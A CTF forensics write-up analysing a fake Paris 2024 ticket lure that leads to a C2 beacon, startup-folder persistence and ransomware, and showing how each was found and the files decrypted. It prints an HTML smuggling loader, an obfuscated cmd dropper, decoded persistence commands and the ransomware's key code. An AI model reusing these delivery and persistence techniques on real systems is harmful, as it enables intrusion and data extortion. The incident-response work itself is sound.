Info
Hello everyone, I created a forensic challenge for the 2024 edition of Midnight Flag CTF in collaboration with @Niceclear. The challenge was divided into 5 parts. Here is the writeup
Writeup - I want my tickets back
Difficulty: easy to medium
Warning
Be careful when handling files
Step 1
Statement
Jean discovered a package in his mailbox. Inside was a USB key and a letter announcing that he had won tickets to the Paris 2024 Olympic Games. The letter specified that the tickets were on the USB key. Intrigued, Jean inserted the key into his computer and opened the file : an information note in HTML format. As instructed, the ticket downloaded automatically. After consulting his ticket, John realized that it was all a hoax and, disappointed, he went away for a few days. When John returned, he was stunned to find that he was now unable to open his files. All now had the .enc
extension.
Flag format : TXXXX.XXX:Hash
File provided : Informations.html
Solve
Info
With the information in the statement, we can assume that the attack took place over several days
We are provided with an HTML file named Informations.html
, probably the information note opened by Jean.
If you open the HTML file in a browser, a JO-PARIS2024-Billets.iso
file is downloaded automatically.
If we edit the file, we can see JavaScript code in a <script>
tag. We understand that a file is reconstructed and downloaded if we open the HTML file with a browser. (The file was previously encrypted with XOR and base64 encoded) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<script>
function b64tAb(base64) {
var bs = window.atob(base64);
var len = bs.length;
var b = new Uint8Array( len );
for (var i = 0; i < len; i++) { b[i] = bs.charCodeAt(i); }
return b;
}
function d(i,k) {
var out = new Uint8Array(i)
for(var i = 0;i<out.length;i++) {
out[i] = out[i]^k
}
return out
}
var f = "VVVVVVVVVVVVVVVVVVVVVVVVVVVV[...]VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV"
var fd = b64tAb(f)
var pf = d(fd,85)
var blob = new Blob([pf], {type: 'None'});
var a = document.createElement('a')
document.body.appendChild(a)
a.style = "display: none"
var url = window.URL.createObjectURL(blob)
console.log(blob)
a.href = url
a.download = "JO-PARIS2024-Billets.iso"
a.click()
</script>
|
The downloaded file is an ISO :
1
2
|
$ file JO-PARIS2024-Billets.iso
JO-PARIS2024-Billets.iso: ISO 9660 CD-ROM filesystem data '21_03_2024'
|
If we mount the ISO on a Windows machine with the basic configurations, for an average user, the content of the ISO looks like an image:
For a slightly more informed user or with the “show hidden elements” and “show file extensions” settings enabled, we understand that the image is actually a shortcut (LNK). In addition, we can notice the presence of 3 other files with the “hidden” attribute.
billets.png
img.jpg
rickroll.cmd
The LNK launches the rickroll.cmd
script :
1
2
3
|
$ cat JO-PARIS2024-Billets.lnk
L�F�E�P�O� �:i�+00�/D:\f2rickroll.cmdJ ��.rickroll.cmd
shell32.dll
|
The rickroll.cmd
script is slightly obfuscated :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ cat rickroll.cmd
@echo off
SETLOCAL EnableDelayedExpansion
start img.jpg
set exe2=bi
set u168=ll
set u798=e
set exe1=ts
set u415=.pn
set ia=g
set v152=%temp%\%random%.%random%
echo f|xcopy %exe2%%u168%%u798%%exe1%%u415%%ia% %v152% /h /s /e /f
start /B %v152%
|
We understand that the script :
- Copy and rename the
billets.png
file to %temp%
(=C:\Users\<user>\AppData\Local\Temp
)
- It executes
billets.png
If we perform a file
on the images, we see that billets.png
is in reality an executable :
1
2
3
|
$ file billets.png img.jpg
billets.png: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 6 sections
img.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1400x1050, components 3
|
If we run some strings
on the exe, we can obtain some information :
1
2
3
4
5
6
7
8
9
10
|
$ strings billets.png
!This program cannot be run in DOS mode.
.text
`.data
.rdata
@.edata
@.idata
.reloc
[...]
demon.x64.exe
|
1
2
3
4
5
6
7
|
$ strings -el billets.png
C:\Windows\System32\notepad.exe
C:\Windows\SysWOW64\notepad.exe
POST
87.19.156.68
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-type: */*
|
We recovered an IP
, a User-Agent
and the original name of the file demon.x64.exe
. This file appears to be the malicious file we are looking for:
1
2
|
$ sha256sum billets.png
3cba38fdf84cf7ea3334040c8b4539403e73adc185d612085628042a695e8da3 billets.png
|
To conclude, the technique used is HTML smuggling
: https://attack.mitre.org/techniques/T1027/006/
Flag : T1027.006:3cba38fdf84cf7ea3334040c8b4539403e73adc185d612085628042a695e8da3
Step 2
Statement
The malicious file communicates with a C2 server to receive instructions. Find the C2 server IP and port.
Flag format : IP:PORT of C2
File provided : Disk.7z
Solve
We are given a vmdk. We must first mount the VMDK.
Mount the VMDK
1
|
$ wget https://raw.githubusercontent.com/dfir-scripts/EverReady-Disk-Mount/master/ermount.sh && chmod +x ermount.sh
|
1
|
./ermount.sh -i disk.vmdk -m mountpoint
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
Use ERMount to mount a disk, disk image
Image type VMDK
Source Information
Disk.vmdk: VMware4 disk image
VMDK
modprobe nbd
Excecuting: qemu-nbd -r -c /dev/nbd1 Disk.vmdk
/dev/nbd1
nbd mount successful!
No errors detected.
1 2048 206847 204800 100M EFI system partition fd0d1001-1040-4628-8153-b5172512f57d
Set Partition Offset
Disk /dev/nbd1: 60 GiB, 64424509440 bytes, 125829120 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 88F6855E-90FE-40BB-B778-0CF3D393311E
Device Start End Sectors Size Type
/dev/nbd1p1 2048 206847 204800 100M EFI System
/dev/nbd1p2 206848 239615 32768 16M Microsoft reserved
/dev/nbd1p3 239616 124739248 124499633 59.4G Microsoft basic data
/dev/nbd1p4 124739584 125825023 1085440 530M Windows recovery environment
Enter the starting block: 239616
Offset: 239616 * 512 = 122683392
Executing Mount Command.....
Defaults file system type is ntfs, see mount man pages for a complete list
Other common filesystem types: vfat, ext3, ext4, hfsplus, iso9660, udf
mount -t ntfs -o ro,loop,show_sys_files,streams_interface=windows,offset=122683392 /dev/nbd1 mnt
Disk.vmdk Mounted at: mnt
'$AttrDef' '$LogFile' '$UpCase' PerfLogs 'System Volume Information'
'$BadClus' '$MFT' '$Volume' 'Program Files' Users
'$Bitmap' '$MFTMirr' '$WinREAgent' 'Program Files (x86)' Windows
'$Boot' '$Recycle.Bin' 'Documents and Settings' ProgramData pagefile.sys
'$Extend' '$Secure' DumpStack.log.tmp Recovery swapfile.sys
Success!
|
We must find the IP and port of the C2 with which billets.png
communicates. We don’t have a PCAP. Two solutions are available to us
Solution 1 – Dynamic Analysis
With the previous step, we know that the C2 was copied to temp
before being executed.
We know that the file is in :
1
|
set v152=%temp%\%random%.%random%
|
To understand what %random%
corresponds to, we can open a terminal on Windows:
1
2
|
> echo %random%.%random%
13422.28820
|
We find a file named 12601.27496
in %temp%
We rename it : 12601.exe
We mount a Windows VM, we run the beacon with Wireshark in the background.
Sorting by destination, we should see few packets captured. We find HTTPS communications.
Solution 2 – Search in files
We search the files for clues :
1
2
3
4
5
6
7
8
9
|
$ cd Users/Jean/Documents
$ tree
.
├── datasheets
│ ├── 744774222.enc
│ ├── fm600tu-3a_e.enc
│ └── read_datasheet.enc
├── desktop.ini
└── secret.enc
|
Note the presence of the secret.enc
file (encrypted) :
1
2
3
|
$ cat secret.enc
�������������j��q��|�e��H�~L�yi?V�
�Ǡ���>Xs▒���j�����
|
In the downloaded files, we note the presence of Sysmon :
1
2
3
|
$ cd Users/Jean/Downloads
$ ls
JO-PARIS2024-Billets.enc Sysmon64.enc desktop.ini sysmonconfig.enc
|
It can be assumed that Sysmon is installed on the machine.
System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time.
We note the information : It provides details about the network connections.
We can check that Sysmon is correctly installed in several ways :
- look in the
SYSTEM
hive for the presence of the registry key HKLM\SYSTEM\ControlSet001\Services\sysmonDrv\Parameters
:
1
2
3
4
5
6
7
8
|
$ python3
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from regipy.registry import RegistryHive
>>> reg = RegistryHive('/Path/to/mnt/Windows/System32/config/SYSTEM')
>>> reg.get_key('System\ControlSet001\Services\sysmonDrv').get_values(as_json=True)
[Value(name='Type', value=1, value_type='REG_DWORD', is_corrupted=False), Value(name='Start', value=0, value_type='REG_DWORD', is_corrupted=False), Value(name='ErrorControl', value=1, value_type='REG_DWORD', is_corrupted=False), Value(name='ImagePath', value='SysmonDrv.sys', value_type='REG_EXPAND_SZ', is_corrupted=False), Value(name='DisplayName', value='SysmonDrv', value_type='REG_SZ', is_corrupted=False), Value(name='Description', value='System Monitor driver', value_type='REG_SZ', is_corrupted=False)]
>>> exit()
|
- check the presence of the dedicated
.evtx
file.
1
2
|
$ ls Windows/System32/winevt/Logs | grep -i sysmon
Microsoft-Windows-Sysmon%4Operational.evtx
|
- check the presence of the executable and the driver (Path:
C:\Windows\
)
1
2
3
|
$ ls -al Windows | grep -i sysmon
-rwxrwxrwx 1 root root 4545344 Mar 22 13:11 Sysmon64.exe
-rwxrwxrwx 2 root root 176648 Mar 22 15:34 SysmonDrv.sys
|
It’s the log file that will interest us. We can analyze .evtx
from the Windows event viewer, with tools like https://github.com/omerbenamram/evtx or from a SIEM. I chose Splunk
We know that our malicious file was copied to %temp%
(=C:\Users\Jean\AppData\Local\Temp\28989.30020
) before being executed.
We filter to have the Event ID 3.
Event ID 3 - Network connection : The network connection event logs TCP/UDP connections on the machine. It is disabled by default. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.
We do our Splunk research :
1
2
|
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-Sysmon/Operational" "Event.System.EventID"=3 "Event.EventData.Image"="C:\\Users\\Jean\\AppData\\Local\\Temp\\*"
| table Event.EventData.Image, Event.EventData.DestinationIp, Event.EventData.DestinationPort
|
Flag : 87.19.156.68:443
Step 3
Statement
To ensure that access to the target machine is maintained, the attacker has implemented persistence. Please identify the persistence technique used and provide the associated file name.
Flag format : TXXXX.XXX:filename
File provided : Disk.7z
Solve
Logs PowerShell Operational
If we quickly browse the PowerShell-Operational logs, we notice commands encoded in base64, which is quite suspicious.
- Event ID 4103 - Information - Pipeline execution
- Event ID 4104 - Commented - Execute remote command
1
|
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-PowerShell/Operational" ("Event.System.EventID"=4103 OR "Event.System.EventID"=4104)
|
We adjust the search to obtain all the encoded commands :
1
2
|
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-PowerShell/Operational" "Event.System.EventID"=4104 "powershell* -enc*"
| table Event.EventData.ScriptBlockText
|
If we decode the base64, we obtain the following commands:
1
2
3
4
5
6
7
|
Get-ChildItem -Force C:\Users\Jean\Documents\
Set-ItemProperty -Path "C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe" -Name Attributes -Value 0
Copy-Item "C:\Users\Jean\AppData\Local\Temp\12601.27496" -Destination "C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe"
Get-ChildItem -Force "C:\Users\Jean\AppData\Local\Temp"
net config
workstation systeminfo
ipconfig /all
|
We can see that the beacon 12601.27496
has been copied and renamed in C:\Users\Jean\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskkill.exe
.
Event Viewer
Persistence technique
On Google : "mitre" "attack" "AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
→ https://attack.mitre.org/techniques/T1547/001/
Flag : T1547.001:taskkill.exe
Step 4
Statement
Jean’s files are no longer readable. Find the responsible malicious file. Give the SHA256 hash and give the file execution time in UTC.
Flag format : hash:HH:MM:SS
File provided : Disk.7z
Solve
Solution 1 - Sysmon logs
Find the cryptolocker and calculate the hash
The files have been encrypted, so we are looking for a CryptoLocker. We know that Sysmon logs are present. This article https://posts.bluraven.io/defeating-ransomware-by-using-sysmon-and-powershell-b671920f3bb1 explains that we need to look for Sysmon - Event ID 11 - FileCreate
events. With a little doc or by browsing the Sysmon logs Event ID 11, we notice the TargetFilename
field. We deduce that our cryptolocker created our encrypted files, we can look for the file C:\\Users\\Jean\\Documents\\secret*
(with a *
) because we do not know the original extension:
1
2
|
index="mctf-2024" "Event.System.Channel"="Microsoft-Windows-Sysmon/Operational" "Event.System.EventID"=11 Event.EventData.TargetFilename="C:\\Users\\Jean\\Documents\\secret*"
| table Event.EventData.Image, Event.EventData.TargetFilename
|
We obtain a result :
The executable responsible for creating the encrypted file : C:\Users\Jean\AppData\Local\Temp\svchost.exe
. We notice the TargetFilename
is secret.txt
which means that the cryptolocker first encrypted the file and then renamed it with the extension .enc
.
On peut faire un sha256 de notre fichier en allant le chercher dans le disque :
1
2
|
sha256sum Users/Jean/AppData/Local/Temp/svchost.exe
784d2ae1fdb3faa7c87c2b971562b193d6894f485d061ee9075c468beec9d870 Users/Jean/AppData/Local/Temp/svchost.exe
|
Find execution time
With the Sysmon - Event ID 1 - Process Creation
events, we can obtain the execution time of the CryptoLocker :
Solution 2 - MFT + Prefetch
Find the CryptoLocker and calculate the hash
On Linux, the MFT is directly accessible if the VMDK has been mounted.
On Windows we can see a modification time at 12:41 (11:41 UTC) :
To export the MFT under Windows we can use : https://gist.github.com/secabstraction/4044f4aadd3ef21f0ca9
In a PowerShell with administrative rights :
1
2
3
4
5
6
7
8
9
10
|
> . .\Export-MFT.ps1
> Export-MFT -Volume E
MFT Volume : E
ComputerName : DESKTOP-FSHLV0M
NetworkPath : \\DESKTOP-FSHLV0M\C$\Users\Forensic\AppData\Local\Temp\slir5krp.x13
MFT File : C:\Users\Forensic\AppData\Local\Temp\slir5krp.x13
MFT Size : 297 MB
> .\MFTECmd.exe -f "C:\Users\Forensic\Desktop\slir5krp.x13" --csv "C:\Users\Forensic\Desktop\" --csvf mft.csv
|
We can use TimelineExplorer to consult the MFT CSV. Sorting by Last Modified
, we notice that before file encryption, a SVCHOST.EXE
was created in the temporary directory, which is not normal behavior :
Find execution time
C:\Windows\Prefetch
. Prefetch files have the extension .pf
.
Tip
The creation timestamp of a Prefetch file corresponds to the first execution of the application.
We recover all the Prefetch and parse with the PECmd tool from EricZimmerman:
1
|
PECmd.exe -d "Prefetch" --csv "./" --csvf mctf-prefetch.csv --json "./" --jsonf mctf-prefetch.json
|
We search in the data \\USERS\\JEAN\\APPDATA\\LOCAL\\TEMP\\SVCHOST.EXE
, we come across the prefetch: SVCHOST.EXE-F660E5C4.pf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
PECmd.exe -f SVCHOST.EXE-F660E5C4.pf
PECmd version 1.5.0.0
Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/PECmd
Command line: -f SVCHOST.EXE-F660E5C4.pf
Keywords: temp, tmp
Processing SVCHOST.EXE-F660E5C4.pf
Created on: 2024-04-05 21:23:15
Modified on: 2024-03-29 11:41:52
Last accessed on: 2024-04-05 21:36:23
Executable name: SVCHOST.EXE
Hash: F660E5C4
File size (bytes): 76 990
Version: Windows 10 or Windows 11
Run count: 2
Last run: 2024-03-29 11:41:52
Other run times: 2024-03-29 11:41:52
Volume information:
#0: Name: \VOLUME{01da7d5c8eb7b64e-be8ec198} Serial: BE8EC198 Created: 2024-03-23 19:59:04 Directories: 16 File references: 61
Directories referenced: 16
00: \VOLUME{01da7d5c8eb7b64e-be8ec198}\$EXTEND
01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS
02: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN
03: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA
04: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL
05: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP (Keyword True)
06: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322 (Keyword True)
07: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO (Keyword True)
08: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\CIPHER (Keyword True)
09: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\HASH (Keyword True)
10: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\PROTOCOL (Keyword True)
11: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\_MEI49322\CRYPTO\UTIL (Keyword True)
12: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS
13: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32
14: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\EN-GB
15: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.19041.1110_NONE_60B5254171F9507E
Files referenced: 102
00: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\NTDLL.DLL
01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\SVCHOST.EXE (Executable: True)
02: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\KERNEL32.DLL
03: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\KERNELBASE.DLL
04: \VOLUME{01da7d5c8eb7b64e-be8ec198}\WINDOWS\SYSTEM32\LOCALE.NLS
[...]
89: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\JO-PARIS2024-BILLETS.ISO
90: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMONCONFIG.XML
91: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\EULA.TXT
92: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON.EXE
93: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON64.EXE
94: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOWNLOADS\SYSMON\SYSMON64A.EXE
95: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\SECRET.TXT
96: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\744774222.PDF
97: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\FM600TU-3A_E.PDF
98: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DOCUMENTS\DATASHEETS\READ_DATASHEET.PDF
99: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\CALENDRIER-PAR-EPREUVES-DES-JEUX-OLYMPIQUES-DE-PARIS-2024.PDF
100: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\INFORMATIONS.HTML
101: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\DESKTOP\MICROSOFT EDGE.LNK
---------- Processed SVCHOST.EXE-F660E5C4.pf in 0,14631520 seconds ----------
|
It interacted with our encrypted files and this is the correct execution path: 01: \VOLUME{01da7d5c8eb7b64e-be8ec198}\USERS\JEAN\APPDATA\LOCAL\TEMP\SVCHOST.EXE (Executable: True)
We can look in the MFT for the creation date of this prefetch:
The executable was first launched at 11:41:52 UTC
Flag : 784d2ae1fdb3faa7c87c2b971562b193d6894f485d061ee9075c468beec9d870:11:41:52
Step 5
Statement
Decrypt John’s important files.
File provided : Disk.7z
Solve
We found the malicious file in the previous step, we can recover the exe from the disk dump.
Find the language and Packer
Manually
To start analyzing the malware, we did a file
on the file which tells us that it is PE32 executable for Windows
1
2
|
file svchost.exe
svchost.exe: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
|
We can obtain the file format and compilation date (Thu Mar 21 14:32:27 2024 UTC) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
objdump -p svchost.exe | more
svchost.exe: format de fichier pei-x86-64
Caractéristiques 0x22
executable
large address aware
Time/Date Thu Mar 21 14:32:27 2024
Magic 020b (PE32+)
MajorLinkerVersion 14
MinorLinkerVersion 38
SizeOfCode 000000000002ae00
SizeOfInitializedData 0000000000017200
SizeOfUninitializedData 0000000000000000
AddressOfEntryPoint 000000000000c330
BaseOfCode 0000000000001000
ImageBase 0000000140000000
SectionAlignment 00001000
FileAlignment 00000200
MajorOSystemVersion 5
MinorOSystemVersion 2
MajorImageVersion 0
MinorImageVersion 0
MajorSubsystemVersion 5
MinorSubsystemVersion 2
Win32Version 00000000
SizeOfImage 00049000
SizeOfHeaders 00000400
CheckSum 00665b82
Subsystem 00000002 (Windows GUI)
DllCharacteristics 0000c160
HIGH_ENTROPY_VA
DYNAMIC_BASE
NX_COMPAT
GUARD_CF
TERMINAL_SERVICE_AWARE
SizeOfStackReserve 00000000001e8480
SizeOfStackCommit 0000000000001000
SizeOfHeapReserve 0000000000100000
SizeOfHeapCommit 0000000000001000
LoaderFlags 00000000
NumberOfRvaAndSizes 00000010
|
The strings -el
command allows you to get a first idea of what the executable contains. Crypto libs and python code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
Py_DecRef
Failed to get address for Py_DecRef
GetProcAddress
Py_DecodeLocale
Failed to get address for Py_DecodeLocale
Py_ExitStatusException
Failed to get address for Py_ExitStatusException
Py_Finalize
Failed to get address for Py_Finalize
Py_InitializeFromConfig
Failed to get address for Py_InitializeFromConfig
Py_IsInitialized
Failed to get address for Py_IsInitialized
Py_PreInitialize
Failed to get address for Py_PreInitialize
PyConfig_Clear
Failed to get address for PyConfig_Clear
bCrypto\Hash\_SHA256.pyd
bCrypto\Hash\_SHA384.pyd
bCrypto\Hash\_SHA512.pyd
bCrypto\Hash\_ghash_clmul.pyd
bCrypto\Hash\_ghash_portable.pyd
bCrypto\Hash\_keccak.pyd
bCrypto\Hash\_poly1305.pyd
bCrypto\Math\_modexp.pyd
bCrypto\Protocol\_scrypt.pyd
bCrypto\PublicKey\_ec_ws.pyd
bCrypto\PublicKey\_ed25519.pyd
bCrypto\PublicKey\_ed448.pyd
bCrypto\PublicKey\_x25519.pyd
bCrypto\Util\_cpuid_c.pyd
bCrypto\Util\_strxor.pyd
|
We can try to find the version of python used :
1
2
3
4
5
6
7
8
|
strings svchost.exe | grep -i python
Error loading Python DLL '%s'.
Failed to pre-initialize embedded python interpreter!
Failed to allocate PyConfig structure! Unsupported python version?
Failed to set python home path!
Failed to start embedded python interpreter!
bpython310.dll
6python310.dll
|
We seem to be on python 3.10
. We can deduce that the file is probably an executable program written in Python. This kind of exe can be created using packer like PyInstaller. We can check this :
1
2
3
4
5
|
strings svchost.exe| grep -i pyinstaller
Cannot open PyInstaller archive from executable (%s) or external archive (%s)
PYINSTALLER_STRICT_UNPACK_MODE
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.
|
Automatically
On google linux malware analysis cheat sheet
Or detect programmation language of exe program github
We finally come across https://github.com/horsicq/Detect-It-Easy
We now know that the packer is Pyinstaller
On google: pyinstaller unpacker
We find extremecoders-re/pyinstxtractor et pyinstxtractor-ng
Obtaining the source code
With one or the other, the result will be the same :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
> ./pyinstxtractor-ng svchost.exe
[+] Processing svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6433612 bytes
[+] Found 64 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[+] Found 144 files in PYZ archive
[+] Successfully extracted pyinstaller archive: svchost.exe
You can now use a python decompiler on the pyc files within the extracted directory
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
> python3.10 pyinstxtractor/pyinstxtractor.py svchost.exe
[+] Processing svchost.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 6433612 bytes
[+] Found 64 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[+] Found 144 files in PYZ archive
[+] Successfully extracted pyinstaller archive: svchost.exe
You can now use a python decompiler on the pyc files within the extracted directory
|
On google : decompile pyc file python 3.10
https://stackoverflow.com/questions/71278961/how-can-i-decompile-pyc-files-from-python-3-10
We compile the tool :
We decompile the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
> ./pycdc ../svchost.exe_pyinstxtractor/main.pyc
[..]
def e0(fn, k):
Unsupported opcode: WITH_EXCEPT_START
cs = 65536
i = b'\xac\xac'
v = b'\x00'
c = b'\x1f\x1f\x1f'
o = b'\xb5\xb5\xb5\xb5\xb5'
f = b'\xc8'
g = b'\xd2\xd2\xd2\xd2'
e = AES.new(k, AES.MODE_CBC, i + v + c + o + g + f)
# WARNING: Decompyle incomplete
[..]
|
A function is not completely decompiled.
Looking at the outcomes of the project, we come across this one : https://github.com/zrax/pycdc/issues/255
On google : pycdc Unsupported opcode: WITH_EXCEPT_START
https://corgi.rip/blog/pyinstaller-reverse-engineering/
You must add the OPCODE here :
We recompile everything :
We still have an unsupported opcode at all :
1
2
3
4
5
6
7
8
9
10
|
Unsupported opcode: RERAISE
cs = 65536
i = b'\xac\xac'
v = b'\x00'
c = b'\x1f\x1f\x1f'
o = b'\xb5\xb5\xb5\xb5\xb5'
f = b'\xc8'
g = b'\xd2\xd2\xd2\xd2'
e = AES.new(k, AES.MODE_CBC, i + v + c + o + g + f)
# WARNING: Decompyle incomplete
|
We add case Pyc::RERAISE_A:
Some opcodes have an extra _A
, as seen in some issues
We have two warnings but the function is almost decompiled:
1
2
3
|
> ./pycdc ../svchost.exe_pyinstxtractor/main.pyc > ../main.py
Warning: Stack history is not empty!
Warning: block stack is not empty!
|
Decryption
Solution 1 - Python script
We notice that the IV is written at the beginning of the file: fn.write_bytes(i + v + c + o + g + f)
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
import base64 as b64
import binascii as bnx
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from pathlib import Path as p
def uf_1():
x = ['b64', 'en', 'code', 'he', 'xl', 'ify', 'unh', 'ex', 'lify']
return [''.join(part) for part in zip(x[::3], x[1::3], x[2::3])]
def k0():
f = uf_1()
k1 = getattr(b64, f[0])(b'PySup')
k2 = getattr(b64, f[0])(b'3r')
k3 = getattr(b64, f[0])(b'K3y')
k = getattr(bnx, f[1])(k1 + k2 + k3)
kh = getattr(bnx, f[1])(k)
kh_r = kh[::-1]
fk = kh_r
return getattr(bnx, f[2])(fk[::-1])
def d0(fn, k):
cs = 64 * 1024
i = b'\xac' * 2
v = b'\x00' * 1
c = b'\x1f' * 3
o = b'\xb5' * 5
f = b'\xc8' * 1
g = b'\xd2' * 4
e = AES.new(k, AES.MODE_CBC, i+v+c+o+g+f)
fn_path = p(fn)
# Open the encrypted file for reading in binary mode
with open(fn_path, 'rb') as infile:
# Read the IV from the beginning of the file
iv = infile.read(AES.block_size)
# Read the rest of the file in chunks
data = infile.read(cs)
# Create a new file path for the decrypted file
decrypted_fn = fn_path.with_suffix('.dec')
# Open the decrypted file for writing in binary mode
with open(decrypted_fn, 'wb') as outfile:
while data:
# Decrypt the chunk using the cipher object
decrypted_chunk = e.decrypt(data)
# Unpad the decrypted chunk
unpadded_chunk = unpad(decrypted_chunk, AES.block_size)
# Write the decrypted chunk to the file
outfile.write(unpadded_chunk)
# Read the next chunk
data = infile.read(cs)
print(f"Decrypted file saved as: {decrypted_fn}")
def d2(key):
# For Linux
d0("/path/to/file.enc", key)
# For Windows
# d0(r"C:\path\to\file.enc", key)
def main():
key = k0()
d2(key)
if __name__ == '__main__':
main()
|
Ressources :
Solution 2 - Cyberchef
It is possible to decrypt the file with cyberchef.
We recover the key and the IV :
1
2
3
4
5
6
7
8
|
print(creation_key())
i = b'\xac\xac'
v = b'\x00'
c = b'\x1f\x1f\x1f'
o = b'\xb5\xb5\xb5\xb5\xb5'
f = b'\xc8'
g = b'\xd2\xd2\xd2\xd2'
